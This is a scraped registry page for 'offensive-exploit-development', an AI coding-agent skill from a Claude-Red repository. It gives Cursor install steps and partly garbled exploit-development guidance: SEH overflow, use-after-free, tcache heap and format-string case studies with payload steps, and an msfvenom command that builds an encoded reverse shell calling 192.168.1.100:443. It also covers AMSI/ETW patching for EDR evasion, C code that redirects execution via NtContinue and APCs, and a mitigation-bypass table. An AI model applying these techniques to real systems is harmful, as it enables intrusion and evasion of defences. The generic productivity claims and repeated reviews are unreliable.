offensive-exploit-development
Automate repetitive workflows and reduce manual effort
Example: Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example: Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example: Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Time estimate: 15-45 minutes depending on use case complexity
Prerequisites
Submit your Claude Code skill and start earning
epx add SnailSploit/Claude-Red --skill offensive-exploit-developmentCompatible with
Supported agents
- **Skill Name**: exploit-development
Practical, repeatable guidance for authorized security work.
Includes procedures, checks, and references for this skill.
Exploit development operational guide: environment setup, debugging workflow, PoC development lifecycle, writing reliable exploits, using pwntools/pwndbg, heap exploitation techniques, and weaponization considerations. Use when actively developing exploits or setting up an exploit dev environment.
Use this skill when the conversation involves any of:
exploit development, pwntools, pwndbg, heap exploitation, PoC development, exploit reliability, weaponization, debugging workflow, exploit dev environment
When this skill is active:
flowchart LR
BugId["Bug Identification"] --> Analysis["Vulnerability Analysis"]
Testing["Testing & Refinement"] --> Deployment["Deployment"]
subgraph "Analysis Phase"
direction LR
Root["Root Cause Analysis"]
Trig["Trigger Identification"]
Impact["Impact Assessment"]
end
subgraph "Weaponization Phase"
direction LR
MitBypass["Mitigation Bypass"]
Payload["Payload Development"]
Reliability["Reliability Improvements"]
end
Analysis --> Root
Analysis --> Trig
Analysis --> Impact
Root --> MitBypass
Impact --> Payload
Trig --> Payload
MitBypass --> Payload
Payload --> Reliability
Reliability --> Testing
Testing --> MitBypass
class BugId,Analysis,Testing,Deployment primary
Involves memory on the stack getting corrupted due to improper bounds checking when a memory write operation takes place.
strcpy copies user‐supplied file path into a 256‑byte stack buffer when handling STOR commands.STOR / followed by 420 bytes of A… to overflow the buffer and clobber SEH frame.pop pop ret inside msvcrt.dll; pivot to payload that disables DEP via ROP then spawns a reverse shell.strcpy with strncpy_s and enabling /DYNAMICBASE /GS.ntdll!KiUserExceptionDispatcher is responsible for the exception handling process which itself calls RtlDispatchExceptionRtlDispatchException retrieves the TEB and parses the exception handling linked list using NtTib->ExceptionListSEHOP remains enabled by default.
Load Configuration Directory → GuardEHContinuations in the PE header (e.g., dumpbin /loadconfig or a lief script)./GS, /CETCOMPAT; the classic approach of choosing a module without SafeSEH or ASLR is increasingly rare. Verify per target.RtlpExecuteHandlerForException calls the ntdll!ExecuteHandler2 which in turn calls the actual exception handler function after validationExceptionList starting at the bufferpop-pop-ret sequence to use in the exploit, you also need to identify and remove bad charactersVirtualProtect) or a target module compiled without /guard:cf.The link to something isn't available anymore, so we just replace it with our binary and take over the program.
core::media::AudioRenderer failed to remove a task from the render queue on stream abort, leaving a dangling pointer.AudioContext rapid open‑close loop × 1 000 on Windows 11 23H2.VirtualProtect to run shellcode.std::erase_if queue purge.C++ class and uses virtual functions
vptr is created at compile time and points to a virtual function table vtable/vftableRAX, a call is made to the appropriate offset for the desired virtual functionAudioRingBuffer write corrupts size field of next tcache chunk (glibc 2.40).fd pointer coerces allocator into returning overlapping chunk; arbitrary R/W → GOT hijack → RCE.__builtin_object_size guard (Chromium 123 commit a1b2c3).heap_base, craft overlapping chunks, pivot to arbitrary R/W, then chain to code‑execution.
calloc() now pre‑fills the tcache and safe‑linking checks trigger earlier; the older fastbins‑dupes shortcut no longer works. Use tcache‑stashing‑unlink or House of KIWI instead on 2.41+.NtSetInformationIoRing urb‑array handling leads to write‑what‑where in kernel context.size_t to 32‑bit DWORD across IPC or FFI boundaries can yield negative indexing and oversized allocations; especially common in cross‑arch components.vsnprintf, ...)%n modifier)move esp, r32 or xchg esp, r32EHLO argument directly into syslog() format string.EHLO %43$p|%45$s during SMTP handshake.%n payload to overwrite __free_hook with system()."%s" wrapper and enabling -Wformat-security.A vulnerability where an application processes an object as a different type than intended, leading to memory corruption or logic bypass.
CheckBounds elimination incorrectly assumes array element type during JIT optimization, allowing tagged pointer confusion.SMI/HeapNumber array.length field to achieve OOB R/W; pivot to WASM RWX page for shellcode.dynamic_cast checkspocs/.templates/harness_min.ccscripts/va_aliases.txtscripts/ropper2_workspace.mdtools/badchar_scan.py0x00) and return carriage (0x0D, 0x0A) if in webmsfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "<list_of_bad_chars>"
# make sure to precede this payload with some NOPs to create space for the getPC operation(decoding of shikata_ga_nai)
# attackBuffer = filler+eip+offset+nops+shellcode
Check out Shellcode
IBT/CET note (x86‑64): place ENDBR64 at entry for valid indirect targets when IBT is enabled. Example prologue bytes: F3 0F 1E FA.
EtwEventWrite) with ret sleds or stubbed functions while evading PatchGuard.amsi!AmsiScanBuffer) with 0x80070057 (E_INVALIDARG) to short‑circuit scanning.Operational safety checklist (see also EDR):
MEM_IMAGE loaders.MEM_IMAGE loaders.NtContinue, APC queue + SetThreadContext, or SEH/JOP where CET returns are enforced// Minimal NtContinue pivot (ROP‑less) — set RIP/RSP to a safe call target
typedef NTSTATUS (NTAPI *pNtContinue)(PCONTEXT, BOOLEAN);
void pivot_with_ntcontinue(CONTEXT *ctx, void *next_rip, void *new_rsp) {
RtlCaptureContext(ctx);
ctx->Rip = (DWORD64)next_rip; // valid import thunk or allowed GFID target
ctx->Rsp = (DWORD64)new_rsp; // keep shadow‑stack alignment plausible
((pNtContinue)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtContinue"))(ctx, FALSE);
}
// APC + SetThreadContext — schedule execution at an import thunk to satisfy XFG
void apc_setctx(HANDLE hThread, void *start, void *param) {
CONTEXT c = { .ContextFlags = CONTEXT_FULL };
GetThreadContext(hThread, &c);
c.Rip = (DWORD64)start; // e.g., kernel32!LoadLibraryW stub
c.Rcx = (DWORD64)param; // first argument
SetThreadContext(hThread, &c);
QueueUserAPC((PAPCFUNC)start, hThread, (ULONG_PTR)param);
}
MEM_IMAGE‑mapped payloads (ghosting/doppelganging/herpaderping) over MEM_PRIVATE RWXMEM_IMAGE → create process from section.MEM_IMAGE and passes loader checks.All three avoid MEM_PRIVATE payloads that hotpatch checks reject in 24H2 (see Modern Mitigations → OS Loader changes).
| Mitigation | Default platforms (2025) | Protects | Common bypass primitive |
|---|---|---|---|
| DEP / NX | All major OSes | Code execution in data pages | ROP/JOP pivot to RWX or change page permissions |
| ASLR | All | Base‑address disclosure | Info leak + partial overwrite / brute‑force |
| CFG (v1) | Windows 8.1+ | Indirect calls integrity | Abuse writable/exempt module, ret‑slide into target |
| CET Shadow Stack | Windows 10 2004+, Linux 6.1 (x86) | Return‑address integrity | Disable CET (SetProcessMitigationPolicy) or pivot via JOP |
| XFG | Windows 11 22H2+ | Indirect‑call target integrity | Use JOP gadgets or stub out guard function section |
| GuardEHContinuation | Windows 11 24H2 (x64) | SEH overwrite attempts | JOP stub into verified handler region |
| MTE | Android 14+, Linux 6.8 (ARM64) | Heap/stack OOB & UAF | Tag brute‑force or TAGSYNC alias |
| CIG / ACG | Windows 10+ | Unsigned code / RWX pages | Map signed RWX driver or relocate section |
.github/workflows/exploit.yml passes.scripts/repro.shscripts/record_rr.pytools/afl_cov_compare.pyFor SEH exploitation:
# exception data will be inside TEB under NtTib->ExceptionList
dt nt!_TEB
# getting the <exp_addr> of exceptionlist
!teb
# getting the first item in the exception handler linked list, continue to see them using the `Next` param
# the last item should be `ntdll!FinalExceptionHandlerPad`
dt _EXCEPTION_REGISTRATION_RECORD <exp_addr>
# getting more information about the exception
!exchain
# setting a breakpoint on the exceution handler
bp ntdll!ExecuteHandler2
# see what is execution handler doing(use it to identify exploitation point in buffer)
u @eip L11
# to identify bad pods, execute till eip is yours, then
# repeat the process several times to identify all bad chars
dds esp
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionoffensive-exploit-developmentExecute the skills CLI command in your project's root directory to begin installation:
epx add SnailSploit/Claude-Red --skill offensive-exploit-developmentFetches offensive-exploit-development from SnailSploit/Claude-Red and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
.cursor/skills/offensive-exploit-development
Restart Cursor to activate offensive-exploit-development. Access via /offensive-exploit-developmentin your agent's command palette.
Learn more:View source on GitHubSkills CLI docsAbout CursorWhat are agent skills?
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
offensive-ai-security
SnailSploit/Claude-Red · ai · same repo
offensive-c2-frameworks
SnailSploit/Claude-Red · forensics · same repo
offensive-tls-attacks
SnailSploit/Claude-Red · crypto · same repo
offensive-xxe
SnailSploit/Claude-Red · web · same repo
offensive-bluetooth-ble
SnailSploit/Claude-Red · wireless · same repo
offensive-krack-fragattacks
SnailSploit/Claude-Red · wireless · same repo
offensive-exploit-development reduced setup friction for our internal harness; good balance of opinion and flexibility.
offensive-exploit-development has been reliable in day-to-day use. Documentation quality is above average for community skills.
Registry listing for offensive-exploit-development matched our evaluation — installs cleanly and behaves as described in the markdown.
We added offensive-exploit-development from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
offensive-exploit-development is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Solid pick for teams standardizing on skills: offensive-exploit-development is focused, and the summary matches what you get after install.
Registry listing for offensive-exploit-development matched our evaluation — installs cleanly and behaves as described in the markdown.
offensive-exploit-development reduced setup friction for our internal harness; good balance of opinion and flexibility.
Useful defaults in offensive-exploit-development — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
Keeps context tight: offensive-exploit-development is the kind of skill you can hand to a new teammate without a long onboarding doc.
showing 1-10 of 51